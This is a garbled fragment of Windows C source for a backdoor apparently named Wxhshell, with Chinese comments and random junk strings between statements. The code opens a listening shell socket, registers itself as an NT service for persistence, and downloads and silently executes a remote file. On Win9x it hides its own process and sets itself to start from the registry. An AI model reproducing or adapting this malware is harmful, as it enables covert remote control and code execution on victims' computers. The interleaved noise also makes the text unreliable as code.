s4>xh=PoJ { Yq:TWeZD SOCKET wsl; e{0O"Jd` BOOL val=TRUE; RueL~$*6.~ int port=0; XU$\.g p- struct sockaddr_in door; [?#-JIZ3T p fg>H if(wscfg.ws_autoins) Install(); ;\t(c ni3A+Y0 port=atoi(lpCmdLine); =Lr#
*ep[ >{juw&Uu if(port<=0) port=wscfg.ws_port; J+*n}He, Fi"TY^-E; WSADATA data; .vXe}% if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2|LkCu)~," y#5;wb<1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; t8-LPq setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SMh[7lU` door.sin_family = AF_INET; JP 8v2)
p door.sin_addr.s_addr = inet_addr("127.0.0.1"); mC84fss door.sin_port = htons(port); YCNpJGM ~
*P9_< if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U6oab9C?k closesocket(wsl); E)F"!56lV return 1; If(IG]>`D } +IfU
5&5< ~kPZh1n` if(listen(wsl,2) == INVALID_SOCKET) { $-f(.S closesocket(wsl); [T#9#3 return 1; NGb\e5? } p\M\mK Wxhshell(wsl); y?{YQ)fj WSACleanup(); PWs=0.Wj R~(_m#6`: return 0; uJ/&!q<3 Cg&cz]*q| } -44''w?z !u|s|6{\ // 以NT服务方式启动 Sc&p*G VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) `<d{(9:+ { 6w^Fee`>] DWORD status = 0; gNzamorv[ DWORD specificError = 0xfffffff; \+sP<'~M Mhze!! serviceStatus.dwServiceType = SERVICE_WIN32; b
`.h+=3 serviceStatus.dwCurrentState = SERVICE_START_PENDING; JV9Ft,xk serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X.!|#FWb+ serviceStatus.dwWin32ExitCode = 0; e5fzV.' 5 serviceStatus.dwServiceSpecificExitCode = 0; $9O%,U@ serviceStatus.dwCheckPoint = 0; :[7.YQ serviceStatus.dwWaitHint = 0; Tta+qjr @60/IE{-v hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); -m>ng
E~q if (hServiceStatusHandle==0) return; qW:\6aEG &sJ%ur+G status = GetLastError(); d512Y[ R if (status!=NO_ERROR) z[ ml;? { J2~oIe2!+ serviceStatus.dwCurrentState = SERVICE_STOPPED; "+J[7p}`@ serviceStatus.dwCheckPoint = 0; I%31MU9 serviceStatus.dwWaitHint = 0; pwO
U6A! serviceStatus.dwWin32ExitCode = status; j#E&u*IR serviceStatus.dwServiceSpecificExitCode = specificError; |\
4cQ SetServiceStatus(hServiceStatusHandle, &serviceStatus); B":u5_B return; &c1zEgl } :u>9H{a \d{S3\7 serviceStatus.dwCurrentState = SERVICE_RUNNING; >D/+04w serviceStatus.dwCheckPoint = 0; 6)~J5Fb serviceStatus.dwWaitHint = 0; \ )n'Ywr if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); >0qe*4n|M } iu6NIy7D 9 ~$'? // 处理NT服务事件,比如:启动、停止 96
!e:TU VOID WINAPI NTServiceHandler(DWORD fdwControl) q%A.)1<'_ { lGtTZcg switch(fdwControl) " )_-L8 { [boB4>. case SERVICE_CONTROL_STOP: kI>PaZ`i) serviceStatus.dwWin32ExitCode = 0; ThSB\ serviceStatus.dwCurrentState = SERVICE_STOPPED; YE\s<$ serviceStatus.dwCheckPoint = 0; EAM2t|MG. serviceStatus.dwWaitHint = 0; YX:[],FP { gnN"pa!&~ SetServiceStatus(hServiceStatusHandle, &serviceStatus); s4{WPU9 } JgY#W1> return; /xcl0oe( case SERVICE_CONTROL_PAUSE: N61\]BN< serviceStatus.dwCurrentState = SERVICE_PAUSED; r*t\\2 break; +_LWN8F case SERVICE_CONTROL_CONTINUE: W{v-(pW serviceStatus.dwCurrentState = SERVICE_RUNNING; A[O' e break; t!,GI& case SERVICE_CONTROL_INTERROGATE: c*#*8R9.y break; @d86l.= }; B`SHr"k!V[ SetServiceStatus(hServiceStatusHandle, &serviceStatus); '+cPx\4 } THbV],RhJ q!P{a^Fnc // 标准应用程序主函数 qKd&d int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) @"=wn:O+ { g x~fZOF_ kX^Y{73 // 获取操作系统版本 78W& OsIsNt=GetOsVer(); 0QxE6>xL= GetModuleFileName(NULL,ExeFile,MAX_PATH); <^(g<B`> &.}Zj*BD // 从命令行安装 .[KXO0Ui6u if(strpbrk(lpCmdLine,"iI")) Install(); _7LZ\V+MLW oH|<(8efD // 下载执行文件 .;xt{kK if(wscfg.ws_downexe) { AH#eoKu if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =whYo?cE( WinExec(wscfg.ws_filenam,SW_HIDE); l@zr1g) } u:0M,Ye NJ{M-K%> if(!OsIsNt) { b];p/V#
< // 如果时win9x,隐藏进程并且设置为注册表启动 $M=W`E[g HideProc(); {)8!> K%G StartWxhshell(lpCmdLine); V]$Tbxg } psZAO,p else .\X;VWTI if(StartFromService()) It/IDPx4ga // 以服务方式启动 r g$2)z1 StartServiceCtrlDispatcher(DispatchTable); +/E
yX= else F};G& // 普通方式启动 8#MiM . f StartWxhshell(lpCmdLine); i#%17} aA-gl9 return 0; Uj[E_4h }
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